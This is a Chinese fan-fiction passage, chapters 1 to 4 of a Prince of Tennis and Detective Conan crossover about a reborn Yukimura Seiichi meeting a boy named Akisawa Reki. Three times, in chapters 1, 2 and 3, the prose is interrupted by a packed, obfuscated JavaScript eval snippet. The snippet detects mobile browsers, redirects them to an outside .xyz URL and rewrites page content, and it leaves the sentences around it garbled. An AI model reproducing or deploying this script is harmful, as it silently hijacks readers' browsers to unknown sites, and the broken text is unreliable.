《我部长说他是重生的》 1. 第 1 章 “......最后,他们幸福的生活在了一起。” “阿栎,你相信他们能获得真正的幸福吗?” “不太相信。” 白发的青年坐在床头,手里拎着一本看不清封面的书在读故事,与他面容有九分相似的少年将自己整个缩在被窝里,只露出一截白色的发尾,连传出来的声音也闷闷的:“这个故事停在他们最甜蜜的时光,但是在结局之后,谁又知道善良的警察与疯狂的科学家会碰撞出什么样的火花呢?” “哈哈......” 青年放下手中的书,帮忙掖了掖被角,露出了一个无声的笑:“那么,你还有什么想听的吗?有关于你的过去,或者未来?” “有哦。” 秋沢栎想了想,从被窝里爬出来,扒着他的手将书翻了又翻,他便宠溺地看着,也不出声阻拦。 桌上的台灯散发着浅浅的光,一只黑猫在床尾打着呼噜,这在深夜里原是一副温馨的画面,但光芒落在白发的青年身上时却像被无名之物给吞噬,投射到地板上只映出了少年一个人的影子。 但秋沢栎浑然不觉,仍一页一页的翻着书,直到目光落到一个占满了整页纸、但全然陌生的名字上。 “幸村精市......”他念了一遍这四个字,疑惑地歪了歪头:“他是谁?” “他啊......” 青年眼里流露出了一抹毫不掩饰的怀念,答非所问地说道:“你想认识他吗?” 秋沢栎没错过他表露出的情绪,便对这个素未谋面的陌生人产生了更多的好奇:“如果有机会的话。” 青年神秘一笑:“有机会的。” 秋沢栎眨了眨眼。 “所以,到底什么时候才能遇到......” 夏末的蝉在做着生命里最后的挣扎,一声又一声的蝉鸣伴随着烈日投下的热意,惹得人心烦意乱,如果这个时候再来一场运动的话,汗水的加码会使得人的心情更加躁动。 但白发的少年却没表露出丝毫的不耐,只是平静地坐在树荫下,翻了翻手里的书,无声地叹了口气。 秋沢栎,十一岁,男,就读于帝丹小学六年级,家住米花町,在某天在家门口捡到了变小……变大的神秘人之后拉开了与寻常人不同的生活—— 主要是一只与众不同的猫,通晓天文地理的神秘人,和一本能看到属于‘他’的未来的书。 书里是他二十岁时的结局,寥寥几字,能获得的信息并不算多,但因为每个自己的选择都会略有差距,导向的未来也不尽相同,所以故事同样存在很多分支,最后被他捡回家的神秘人把那本书当做睡前故事讲给他听。 虽然这些分支无一例外的指向了相同的结局——主人公就像是中了一个必死的诅咒一般,生命戛然而止于二十岁,但无论是讲故事的还是听故事的似乎都没有察觉到有什么不对,坦然接受了自己早死的命运。 不过,就像绿色的树叶中也会冒出棕色的叶片一样,故事中也存在唯一一个‘另类’的结果。 导向这个结果的原因是一个人,哪怕书里没有写明他们之间的故事,只存在一个名字,也不耽误秋沢栎对他产生极大的好奇心,并是在某位神秘人的指引下报名了今年的Jr大会以寻求一个偶遇。 但比赛马上就要结束了,还是没能找到那个人,这就是他坐在树下叹气的原因。 “往好处想,说不定马上就会出现了呢?” 黑猫蜷缩在他身侧,尖锐的牙齿很顺利地撕开了胶带的包装袋,伸出肉肉的爪子拍了拍秋沢栎的手,喵言喵语落到他的耳中自动翻译成人类的语言:“先缠手胶,决赛快要开始了。” 秋沢栎顺从地拎起手胶,在球拍上裹了几圈,慢吞吞地抬起了眼:“他明明只说了要我来这里参加比赛,就一定可以邂逅一个……” 黑猫没听见后半句:“一个?” 但秋沢栎的目光却直直的落到了一个地方,一动不动。 “怎么了?” 黑猫疑惑地抬起头,顺着他的视线看去,穿过层层叠叠拥挤的人群,看见了不远处的正在四处张望、似乎在寻找着什么的蓝紫发少年身上。 黑猫看了又看没看出他有什么不对,便拍了拍身旁的少年:“阿栎......阿栎!” 秋沢栎在它的呼声中猛然回过神,眨了眨眼,一双灰蓝色的眸子在阳光下染上了几缕不一样的色彩:“居然真的遇到了……” “嗯?” 黑猫刚发出了一道疑惑的声音,就见那个少年朝这边望来,在对上他们的视线的那一刹就已经锁定了目标,目光径直掠过它,一错不错的落在秋沢栎身上,而后急急地拨开人群朝这边奔来。 黑猫歪了歪脑袋:“他是......?” 秋沢栎没回答它的问题,反而调整了一下坐姿,坐得更端正了一些,张开手掌向前递了过去时,刚好握住另一只带着温度的手。 那位被他握着的蓝紫发的少年张了张口,似乎是还没有想好要说些什么,对自己莽撞前来而流露出了一抹懊恼。 二人面面相觑。 那个少年犹豫了一下,秋沢栎就当他放弃了先行打招呼的机会,顺理成章地拿下了主动权。 “你好。”他微微眨了眨眼,露出一个浅浅的笑容:“初次见面,我等你很久了。” 匆匆赶来的幸村精市:??? 黑猫扫视了他一圈,恍然大悟:原来是这个人啊。 * 片刻后,代表决赛开始的广播响起,树荫下只剩幸村精市和黑猫大眼瞪小眼。 “现在是什么情况?” 幸村精市压了压眉心,有些无奈地叹了口气,黑猫瞥了一眼,结果得到了他无意识的摸摸,顿了一下之后将屁股撅过去对准他。 但少年完全没有在意这一点,他还在梳理自己纷乱的思绪。 幸村精市,男,几个小时前刚以二十五岁的年龄拿下了四大满贯的冠军,结果一闭眼倒退了十三岁,一睁眼就是自己少年时期那张古典大花的床单。 手机里的上一条信息是真田弦一郎约他练习以及柳莲二发来的比赛复盘记录,置顶的立海大正选队员的群聊中丸井文太正在和仁王雅治拌嘴,中间偶尔穿插着杰克桑原的拉架。 但从三年级便定格了的群聊此刻却悄无声息地少了一个人,以及那个在通讯录中消失的无影无踪的名字来看,他只能得出一个结论:他重生了,重生回了十二岁那年。 幸村精市:…… 这小说一样的展开让他有些破防。 在还差一步就能走上事业与爱情双丰收的人生巅峰时,被一脚踹回连牵个小手都要打码的年纪,这着实很让人崩溃。 ……不过没关系,他是谁,他可是幸村精市,是谁也打不倒的幸村精市! 队友那边的情况暂时不用担心,因此他用最快的速度梳理好情绪之后,就从记忆里翻出恋人的过往,毫不犹豫地从神奈川跑到东京来,甚至已经做好了与他重新开始的准备。 但没想到,刚见到秋沢栎,他就给幸村精市扔了一枚大雷。 白发的少年坐在树荫下,一双眼睛全然没有对一个陌生人的疑惑。 “……阿栎,你也回来了吗?” 幸村精市紧紧地握着他的手,感到心跳振如擂鼓。 那句原本应该在二十五岁的颁奖台上向他诉说的承诺与爱意被这场突如其来的变故压在心底,发酵为膨胀的念想被攥着,于此刻,在爱人平静的眼神里化为清风吹过。 但秋沢栎给了他一个意外的回答:“不……我并不知道你说的是什么意思,我只是恰巧知道、并且想认识你,幸村精市。” 想认识一下那本书中唯一一个会让结局导往不同方向的变量,想知道这个名字的背后到底会是什么样的人。 秋沢栎得到了答案:是个美人。 幸村精市听着这个陌生的称呼,缓慢松开了他的手,有些茫然地与他对视了一瞬。 “你……” “啊,这个待会再聊吧。” 秋沢栎握了握自己的球拍,站起身子,伴着广播的呼喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551592|171243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声朝他摆了摆手:“我先去比赛了。” ——“待会见。” 待会见。 幸村精市注视着他挺直的脊背,恍惚间看见了二十四岁的秋沢栎,身为医生的他甚少走上赛场,多数时候也是这么注视着幸村精市的背影。 但不同的是,这次,他们有机会站在同一片赛场之上。 * 夏末的蝉鸣吵吵嚷嚷,赛场外的欢呼声一波又一波,但赛场之外的树荫下,少年的心境却静寂的可怕。 秋沢栎去比赛了,幸村精市就打开手机一条一条的翻阅之前的聊天记录,既试图从中获得什么信息,又或者是抱着什么连他自己也无法解释的想法一条一条的看着。 但直到他翻到最上方、翻无可翻之后才恍然发现,那些他自认为在岁月里逐步模糊的记忆,哪怕过了十余年也依旧清晰,清晰到幸村精市不得不承认,他对于国三那年发生的所有事仍记忆犹新,以至于到后来那些所谓的释怀不过是一种对现状无可奈何的接受。 因为他没有办法再挽回十四岁的遗憾,就像立海大哪怕再拿下无数个关东大赛的冠军,也衔接不起由前辈们所完成的,那十五年的断层。 ……这么说,重生也并不一定是一件坏事不是吗? 幸村精市呼出一口气,一直紧绷着的神经骤然松下。他有机会弥补遗憾,与秋沢栎的关系也并不想他想象中那么陌生……哪怕他暂时还不知道自家恋人到底知道什么,但现状已经比他预想的要好太多了。 黑猫又瞥了他一眼,无声地挪动了一下屁股,这次它将脑袋对准了幸村精市,并且用肉肉的爪子将一瓶冰凉的饮料推到他面前,意思很明确。 “给我的吗?谢谢。” 幸村精市心情好了很多,他笑了笑,将那瓶饮料拎起拿在掌心看了一眼,是他惯来喜欢的口味。 “呲——”的一声,饮料开口,在易拉罐内部静静储存着的二氧化碳也似乎被叫醒了一般,争先恐后的出逃。 他抿了一口,碳酸饮料的味道刺激性很大,再加上冰凉的温度,给人带来了一种奇妙的体验,奇妙到他在瞥了一眼比分牌上的名字后,猛然意识到了一件事—— “等等,他的实力有这么强吗?” 只见写着秋沢栎名字的上方明晃晃地印着“十八岁以下组别”的文字,名字后的比分牌是一整排的6-0。以十一岁的年龄在十八岁以下的组别中拿到这样的成绩,足以可见其实力的强劲。 幸村精市眉心跳了跳,深深吸了一口气,手一用力,易拉罐便扁了一块。 “好啊……” 他们确定关系了六年,而这六年里,他居然完全、完全不知道自家恋人居然还有这种天赋呢^ ^ 一想到他每次发出网球比赛邀请时,面前这人都会以“我已经好几年没有碰过这项运动了,大概没有办法陪你打得尽兴吧”之类的话婉拒他…… 少年笑容愈发灿烂,背后的百合花开了又开。远在赛场的秋沢栎似乎感应到了什么,手一抖,黄澄澄的网球就从他的手中潜逃离开了。 对面的对手顿了顿,迟疑地问道:“小孩,你是打累了吗?” 他一个十七岁的少年欺负一个还未满十二岁的小孩子,总觉得良心有些过不去呢。 秋沢栎默默地将球捡起,摇了摇头:“不……比起我,我觉得你还是担心一下自己吧。” 要真论欺负,还不知道谁欺负谁呢? 他的对手不以为意:“小孩,你还是照顾好你自己吧。” 十七岁的少年比他要高出两个个头,站在球网的一段时阴影能将他完全笼罩起来,面对这样的小不点,身为最能夺冠的选手显然没有将他放在眼里。 “好吧。” 秋沢栎叹了口气,抛了抛球。 半个小时后。 “呜呜呜呜……” 人高马大的魁梧男子捂着脸崩溃的离开了赛场,只留下秋沢栎举着球拍,在比分板的空隙处填上了最后一个6-0。 黑猫摇了摇脑袋:唉,又疯一个。 2. 第 2 章 在用最后一个6-0填充了比分牌之后,冠军毫无异议的被秋沢栎拿到手。少年捧着金灿灿的奖杯挣脱了记者的围堵,大胜归来,一抬头就看见幸村精市站在不远处的树荫下朝他招了招手。 阳光,微风,凉阴,与等候在树下的人。 秋沢栎露出一个笑,急急奔了过去:“抱歉,等久了吗?” 幸村精市将一瓶刚从贩卖机中买来的饮料递给他,摇了摇头:“没有哦,比赛结束的很快。” 网球比赛决出胜负需要六局以上,每一局又有四个发球,如果球网两端的对手实力相当,一场比赛甚至能拉长到几个小时。 而在未来步入世界赛之后,这个用时只会再度拉长,所以早已习惯五局三胜的幸村精市并不觉得这半个小时漫长,相比起这个,他对自家未来恋人现在的情况更加上心。 秋沢栎似乎看出来了他想说什么,将手里的饮料顺手塞进能装下好多个网球的异次元口袋中,背好自己的包向幸村精市示意道:“我们边走边说吧,这里人太多了。” 幸村精市自然没有异议。 无论是重生回来的他还是明显知道些什么的秋沢栎,二人能坦诚公布聊出的内容落在别人的耳朵里,大概是下一秒就会拨打出精神病院号码将他们逮捕起来的程度。 比起一直生活在神奈川的幸村精市,白发少年明显更清楚东京这边的路线,于是便由他走在前面带路,幸村精市踩着他的影子,黑猫一拽一拽的扭着屁股跟在末尾,懒懒散散的打了个哈欠。 “你有什么想问我的吗?”秋沢栎走在前面,手指抚摸上兜里的那瓶饮料,其上的标签凸出来一块,咯手但熟悉,同样是他最喜欢的牌子,十年如一日的没有任何变化。这个发现让他的心情有了许些起伏,说话时的声音也不自觉的放软了许多。 幸村精市自然发现了他的转变,但比起现在追问缘由,他还是更想弄清楚秋沢栎到底知道多少。他深吸了口气,抛出第一个问题。 “你真的不认识我吗?” 秋沢栎回答:“在今天之前确实不认识。” 幸村精市紧接着问出第二个问题:“如果你并没有那些记忆的话......那你为什么会知道我?” 直击核心。 秋沢栎顿了顿,才说道:"这个我现在没有办法告诉你,幸村......君,但是,我确实从一个地方知道了你的存在。" 他手中存在着的那本堪称为奇迹的书似乎被人特意关照过了,里面的内容他无法说出口,也不知道该怎么向身后的少年讲述。 哪怕他对于幸村精市的好感度莫名很高,高到连喊出来的尊称都被身体下意识拒绝,但他仍然没法将所有事全盘托出。 幸村精市也是一样,他打好的腹稿在得知了秋沢栎全然不存在未来的记忆时尽数被吞下,只剩一道勉强的笑。 “如果不太习惯这么称呼的话,可以随意。” 他听着那句有些拗口的称呼,压下心底翻涌的情绪,体贴道:“我不会介意的。” 从幸村精市重生回来到与爱人的再次见面,这中间其实也只是隔了不过半天的时间,甚至在几个小时前,他还在和二十四岁的秋沢栎十指相扣,准备在颁奖台上给他一个关于未来的许诺。 但在几个小时之后再见时,他却看见了恋人一双带着陌生的眼睛。 幸村精市暂时无法适应这种落差,他和秋沢栎从十八岁时就确定了关系,也互相偏爱了六年,所以哪怕他知道面前这人现在完全不认识他,也很难迅速将自己摆在一个陌生人的位置。 他沉浸在自己的思绪中无法自拔,自然也没发现,走在前面的秋沢栎同时也悄悄松了口气,那个名字在他口中转了一圈之后,迅速更正为更加顺口、或者说熟悉的称呼。 “那……精市?” ——“精市。” 幸村精市脚步顿了一下,一双漂亮的眼睛里被怔愣充斥了一瞬。 秋沢栎发现了这点,被太阳眩晕的脑袋清醒了一瞬,那点子被抛在脑后的礼仪规格终于归位。他后知后觉地反应过来这个称呼对于刚认识的‘陌生人’来说有些过界了,手指不自觉地拽了拽背包带:“怎么了?不合适吗?那我……” “不,没有,很合适。”幸村精市打断了他的话,缓缓笑了起来,周遭的一切都在他的笑容里黯淡失色,“很合适的称呼,阿栎。” “欸……” 秋沢栎注视着他的眼睛,在美色里迷失了自我。 黑猫拿尾巴拍了拍他的小腿:色令智昏。 * 二人的关系经此一遭逐步从僵硬和尴尬转变为正常的交谈,毕竟,如果避开发生在他们身上那些荒谬到像是一场梦一样的遭遇,能在未来成为伴侣并且感情甚笃的两人在某些方面必有互相吸引的地方,这也就导致他们一直到抵达咖啡馆要结束话题时还意犹未尽。 “……先休息一下吧。”秋沢栎边说着边推开咖啡厅的大门。 店内,伴随着清脆的铃声,柜台后探出了一个脑袋。榎本梓话音未落,一见来人就笑了:“欢迎光……欸,阿栎,你来啦。” “榎本姐姐,我带朋友来了。” “那你们随便坐吧。” 秋沢栎朝她打了个招呼,便带着幸村精市熟门熟路地坐在了一个靠窗的位置上,顺手抽过一旁的菜单递到他面前:“你有什么想喝的吗?” 幸村精市接过菜单随意地瞥了一眼,选了一杯咖啡,秋沢栎就将包和猫留在了原地,去找站在前台的榎本梓。 “是同学吗?之前没见过呢。”榎本梓在柜台后面准备咖啡,偷偷打量了一下坐在窗旁的幸村精市。少年面容虽然有些稚嫩,但已经能看出未来的姿色,是放在人群里绝对不会被忽视的存在。 “是刚认识的新朋友。” 秋沢栎那杯咖啡做得很快,他端着咖啡杯的手稳稳当当的,往里面扔方糖的动作也迅速,垂了垂头,在榎本梓制止他之前及时开口转移话题:“我待会可以打包点吃的回去吗?” 他已经连续吃了三周的速食了,想换换口味。 “你是不是又吃便利店了?”榎本梓一听这话也不管别的了,皱着眉看他:“虽然安……降谷先生工作忙经常出差,但你也不能总是吃那些没营养的东西啊,不是有安排人给你送饭吗?” “……那我还不如去吃便利店。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551593|171243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋沢栎一想到来送饭的人选就胃疼,他叹了口气,将幸村精市那杯咖啡放到托盘上端起来:“总之,麻烦榎本姐姐了。” “真是的,我会准备好的……对了,把这个也端过去吧。” 榎本梓嗔怪了一声,转身从冰箱里取出一碟蛋糕:“就当是我请你们吃的了,难得见你带朋友来呢。” 躺在椅子上的黑猫耳朵比人类要好用很多,它将这句话听得很清,便甩了甩尾巴:大概是因为没朋友能邀请吧。 没朋友的秋沢栎端着托盘回来了。 幸村精市刚刚回复了柳莲二的消息,见到他回来之后就将手机放在一旁,秋沢栎喝了一口咖啡,致死量的糖融化在里面,让他的神经松缓了下来。 “精市是在神奈川上学吗?” 幸村精市点了点头:“我在立海大哦。” “欸……”秋沢栎想了想,手指捏着吸管搅了搅,若有所思道:“那所学校的录取分数线好像不低,不过也无所谓,没什么困难就是了。” “毕竟是强校……嗯?”幸村精市话说到一半才意识到秋沢栎话里的意思,他眨了眨眼,有些意外:“你是说……” “我要报考立海大。” 一道理所当然的声音。 “这……” 幸村精市扶了扶额,虽然他一开始也想过要不要向自家未来恋人发出报考同一学校的邀请,但考虑到秋沢栎的年龄与常住地一直在东京的问题,要他独自前往一个新的城市,重新适应不一样的生活的话必定会遇到很多问题。 他不能这么不负责任,于是那份邀请在他舌尖转了一圈之后又被吞回,甚至在想如果新干线出了会员卡,他一定会办一张的,以后来往东京的次数只会更频繁。 可如今,秋沢栎自己将这件事提了出来。 “不需要担心。” 秋沢栎敏锐地察觉到了幸村精市的担忧,他又抿了一口咖啡,放下杯子之后才平静地说:“虽然不知道你到底了解多少……但是我没有父母这件事,你应该是知道的。” 幸村精市眼神暗了下去。 身为伴侣,他们之间最先互通的就是家庭情况,他自然知道面前这人打出生起就没有见过父母这件事。 但也正是如此,他才会更不放心。 无论未来是怎样靠谱的一个人,他现在到底只有十一岁。 似乎是看出来幸村精市的不赞同,少年歪了歪脑袋,放弃了游说,将手机递了过去:“离升学还有半年呢,我会仔细考虑的……比起这个,先加个好友吧。” 幸村精市自然不会拒绝,他将倒扣在桌面上的手机拎了起来,一只手一个,很快就加上了好友。 “这样就没问题了,我待会送你去车站吧。” 秋沢栎弯了弯眼:“聊得很愉快,我已经开始期待和你的下一次见面了。” 坦率的、直白的话语像拉开的弓箭,直击幸村精市的心脏。 少年不动声色地掩面,遮蔽住有些红红的耳廓。 真是的…… 幸村精市无声的叹了口气:明明几年后的阿栎还是那种稍微逗一逗就会脸红,低攻低防的性格呢。 3. 第 3 章 他们坐在咖啡厅里又聊了一会,直到夕阳挂上天空,幸村精市才意犹未尽地提出告别。 十一岁的秋沢栎与二十四岁的他在性格上有着堪称是巨大的差异,只有细枝末节的小习惯能确认此刻坐在幸村精市面前的这个少年与未来的那个温和内敛的青年有着几分重合之处。 这种差异让幸村精市觉得自己发现了足以挖掘很久的宝藏,因此聊起天来也逐渐起了兴致。 不过,就算抛开未来带来的滤镜的影响来看,他也不得不承认,哪怕他们是全然不认识的两个陌生人,在相交之后,秋沢栎如今所表现出来的特质是让幸村精市无法拒绝的。 所以,这确实是一场愉快的对话。 回神奈川的新干线离这里不算远,秋沢栎提前查好了地图,便先将包放在了咖啡厅里,带着幸村精市去找最近的车站。 “回去之后记得给我报个平安哦。” “当然,很期待我们的下次见面。” 少年笑着朝他挥了挥手,将幸村精市送上了车,在注视着那辆新干线驶离了自己的视线之外后才松了口气,一直撑着的肩膀也缓慢地垮了下来。 “辛苦了。” 黑猫卧在他的肩膀上,明明车站是不允许动物进入的,但周遭的人像是完全没看见它一样,熟视无睹的绕过秋沢栎。少年叹了口气,转身朝车站外走去:“怎么样?有哪里做的不好吗?” “按照人类的礼仪来看,无可挑剔。”黑猫抓了抓他的肩膀,赞赏道:“装得挺好,很像个人。” “书没白读。” 秋沢栎走出车站,红红的夕阳打在他的脸庞上,却没有带来丝毫的暖意,那双对着幸村精市盛满了温和的眼睛在转身的那一瞬褪去了全部的温度,将漠然重新挂上。 “没办法,我确实很好奇。” 他打开手机,按了几个数字,随口道:“你应该也知道这唯一一个变数所代表的意义是什么吧,能让未来的‘我’改变想法的人……我真的很好奇他身上有什么特质。” 黑猫问他:“那么,你观察出来了什么吗?” “我承认,我确实喜欢他。” 颇有风趣与温和的少年只消站在那里就足够吸引人的视线,抱有私心接近他的秋沢栎自然也会被他吸引,这点无可辩驳。 但仅仅如此,他还不能理解幸村精市身上到底有什么魔力,能让未来的‘他’愿意留在这个满是苦难的世界中。 “接触时间太短了,没办法下判断,看来还要再接近一点……” 黑猫一眼瞥见了他手机屏幕上显示的降谷零的名字,颇有人性化的挑起了眉毛:“真的决定了?” “嗯。” 手机上号码拨出,手机滴滴响了两声之后,一道带着喧杂背景音的男声在电话那头响起:“喂?怎么了?这个点找我?” 秋沢栎语气淡定:“零哥,我要报考神奈川的立海大,你到时候记得在监护人那一栏签字。” “……?” 手机对面的降谷零被他突如其来的一句话打了个措手不及,他愣了一会,似乎是怀疑起了自己的耳朵:“你说什么?” 秋沢栎重复了一遍:“我说,我要报考神奈川的立海大。” 降谷零:“???” 秋沢栎没等到他回应,又重复了一遍:“喂?听不到吗?奇怪,我说我要报考立海大,对,我自己一个人搬去神奈川住,就这样,到时候记得签字。” 啪地一声,电话挂断了。 手机那头的降谷零聪明的脑袋在发麻,能言善辩的嘴哆嗦了一下,居然一个字也没说出来。 他身旁的青年拍了拍他的肩膀,疑惑道:“零,怎么了?谁打来的?” 居然能让山崩于前都面不改色的降谷零露出这种茫然又无奈的神情……诸伏景光起了不小的好奇心。 降谷零深吸了一口气,才终于找回自己的理智,他瞥了一眼正好奇的看着自己的好友,决定说出来让诸伏景光和他一起头疼。 “打电话的是阿栎。” 诸伏景光的眼神严肃了起来,他知道秋沢栎很不喜欢和他们打交道,更很少主动找降谷零。 这是遇到什么事了吗? 老师为了覆灭组织几乎付出了一切,他绝对不能让她的孩子…… “他说要报考神奈川的立海大,让我记得签字。” 诸伏景光:? 他飞散的思维卡壳了一瞬,久了才艰难地说道:“神奈川……?他才十一岁,神奈川又没有熟悉的人,他自己跑那里去能行吗???” “零,拦一下啊!!” 降谷零表情麻木:“我要是能拦住早就拦了,他可是老师的儿子。” 回忆起老师的丰功伟业的诸伏景光:…… 两个在打击犯罪行业冲在先列、甚至卧底十年都能将世界上有名的黑衣组织一锅端掉的精锐公安,在此刻面对故友的孩子时也只能沉默着面面相觑。 “那,那我们……” “那还能有什么办法。”降谷零打开手机,深吸一口气,抱着一丝希望说道:“往好处想,万一他考不上呢?我记得立海大可是有名的强校,对于成绩的要求也不低。” 诸伏景光顿了顿,有些怜悯:“……你是不是忘了这孩子的天赋。” 降谷零:…… 老师,你怎么没说过带孩子这么难。 * 难带的孩子回到咖啡厅打包了晚上的饭就告辞离开了。 那枚奖牌被他留到了波洛咖啡厅中当做装饰物,只带走了自己的包和猫,在回家的路上还顺手撂倒了一个抢劫犯,拽回了两个差点被车撞的小孩子,最后去书店买了一叠资料书。 每日一善完成。 黑猫对这一切习以为常,在米花町中生活的人们对于突发事件的接受度要比其他城市的人高得多,它瞥了一眼那沓厚厚的资料:“立海大的入学考试对你来说应该不是问题吧。” 秋沢栎将资料塞进书包里,叼了一根刚刚救下的小孩子的母亲塞来的棒棒糖,甜丝丝的味道在口腔化开,他舒服地眯了眯眼,说道:“多少也要努力准备一下吧,毕竟是第一次参加升学考试。” “比起这个……过两天去一趟神奈川吧,还需要提前看好房子。” 黑猫拍了拍他的肩头,问道:“你有想过怎么说服房东将房子租给你这个未成年吗?” “谁说要租了,我可以托宫野姐姐帮我买一套,她对我家地下室的那些东西可是很感兴趣的。” “我还以为你会麻烦一下降谷先生呢。” “那还是算了。” 秋沢栎瘪了瘪嘴,颇为不情愿:“唉,要不是监护权还在他手上,真不想和他们打交道。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551594|171243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他的父亲在他出生那天死于黑衣组织在国外实行的一次恐怖袭击,他的母亲是降谷零在警校时的老师,在得知了这件事后,毫不犹豫放下了刚出生的他自愿回到警局,成为卧底潜伏在黑衣组织中。经过各方势力十年的努力,一年前组织终于覆灭,在其中奉献了一切的她也光荣牺牲。 作为遗孤的秋沢栎因为有这一层关系在,监护权自然而然地被升职的降谷零‘以权谋私’的圈到了自己名下,不过可惜的是,他早已过了需要监护人关爱的年纪,对这些突然出现关心他的人也抱有很高的戒心。 所以降谷零才会觉得这小孩格外的难搞。 黑猫自然也是知道这件事的,它闷笑了两声,为他此刻不得不‘屈居人下’的模样而感到有趣。秋沢栎白了它一眼,推开虚掩着的大门,没有丝毫意外地看了一眼坐在院子里对着他的箭靶发呆的人。 “志保姐,院子里风大。” “你回来了。” 宫野志保站起身,双手插在白大褂里,略一挑眉:“听说你参加比赛去了。” “嗯。”秋沢栎将手里拎着的食物放到一旁,拿钥匙打开了客厅的门,而后将另一把备用钥匙扔给宫野志保:“下次有需要可以直接进去,我父亲的研究我已经看完了,你全搬走也可以。” “这里的设施比较先进。” 宫野志保将钥匙顺手塞进兜里,没说她来做研究是假,来看他每天的状态是真,随口敷衍了一句。 “既然这样,那你搬进来住吧。” 秋沢栎推开门,头也没回的说道:“再过半年,我就要去神奈川上中学了,能麻烦一下明美姐姐在那附近帮我买一套房子吗?” 宫野志保这次是真愣住了,她迟疑地问道:“你去神奈川上学……?” 她记得前段时间工藤新一那家伙给他挑了好多学校都被他拒绝了吧。 “你们怎么都这个反应,这很奇怪吗?” 他口中的‘你们’说的是在回来的路上不死心的连给他打了三通电话的降谷零。 “还以为你会直升帝丹呢。” 宫野志保嘴上说着,又心里吐槽道:担心你去神奈川是假,怕你哪天死在外面是真吧。 她在还是灰原哀的时候就知道秋沢栎的存在了,既通过化为江户川柯南的工藤新一之口,也通过被他的母亲救下来的宫野明美之口。 因为姐姐得救的缘故,她也关注过这个孩子很长时间,他天赋极佳,但性格堪称古怪,在作为灰原哀与他同学的那几年,哪怕是吉田步美这极为几个外向的孩子,也很怕和他交流。 如今,他毫无征兆地告诉所有人他要独自去神奈川上学。 宫野志保身为研究人员特有的好奇心动弹了一下,但她也清楚如果秋沢栎不想说的话,她是问不出来什么的。 不过没关系,时间还久,总能弄清楚的。 于是她转身告辞,却在无意间瞥见了秋沢栎正从屋内往外搬出了厚厚一沓的书,被随意的堆在一旁,其上的书名一闪而过。 “《交往的分寸》《该怎么样才能给别人留个好印象》《在人际关系中,一定要注意的二十件事》……?” 宫野志保怀疑了一下自己的眼睛:“什么啊,大概是看错了吧。” 应该是,一定是,绝对是。 她毫不犹豫地转身离开了。 4. 第 4 章 距离秋沢栎小学毕业也不过只有半年多的时间,说长不长,说短也不短。 在幸村精市与秋沢栎双方的车票都垒起了厚厚一沓之后,新一年的入学季终于快要到了。 “阿栎,准备好了吗?” 宫野明美坐在主驾驶座上,透过降下的车窗朝秋沢栎打了声招呼。虽然立海大还要一段时间才会正式开学,但秋沢栎需要提前赶过去收拾东西,所以将人送到神奈川这件事,就落到了因为帮忙买房子所以更熟悉地址的宫野明美身上。 少年随意地应了一声,将最后一个箱子放在了车的后备箱里。 他的东西说多也不多,一个行李箱里装了几件衣服和惯用的电子设备,一个纸箱里塞了堆晦涩难懂的专业书,再加上一个网球袋,这就是他全部的家当。 宫野志保倚在车门上,拧了拧眉:“你就这么多东西吗?” 秋沢栎回答她:“嗯,不好带的东西已经提前邮寄过去了。” 比如他院子里那个练习射箭用的靶子。 宫野志保朝他点了点头:“行,不过,你确定不跟他们说一声吗?工藤那些家伙问起来我可是不会帮你隐瞒的。” 秋沢栎搬家这件事除了她们姐妹知道之外没跟任何人说,连名义上的监护人降谷零都只是负责在他的入学申请上签了个字,更别提在外面乱飞处理各种事件的大侦探工藤新一。 “无所谓,他们都很忙,能想起来我再说吧。”秋沢栎摸了摸兜,将一串钥匙递到她手里,说道:“家门和实验室的钥匙都在这里。” 宫野志保握着钥匙,在掌心里转了一圈:“交给我吧,一路顺风。” 宫野明美从车里探出头,笑道:“没关系的,志保,神奈川距离东京也不是很远,要想见面的话也不麻烦。” 就怕是他不想见面了。 宫野志保耸了耸肩,注视着车辆发动后消失在视野之内,才转过头,对着全副武装躲在不远处的降谷零五人露出了江户川柯南同款的半月眼:“人走了,别看了。” 降谷零轻咳了一声:“地址……” 宫野志保握着秋沢栎家的钥匙,径直往房子里面走去:“发给你了,但你们应该比我更清楚,他不想见到你们这件事。” 秋沢栎的母亲为了这个国家、为了让组织覆灭奉献出了一切,在场的所有人几乎都是她一手从火坑里救出来的。 但如果将一切追根到底的话,真正受到伤害的只有她这个在走路都不稳当的年纪独自生活的、素未谋面的孩子。 也因此,现在站在这里的这些人,再怎么在各自的岗位上雷厉风行说一不二,对着老师唯一的孩子时也只有无奈。 他们欠他母亲的恩情一辈子也没办法还了,只能全数投掷在秋沢栎身上。 但可惜,秋沢栎对他们毫无亲近的心思。 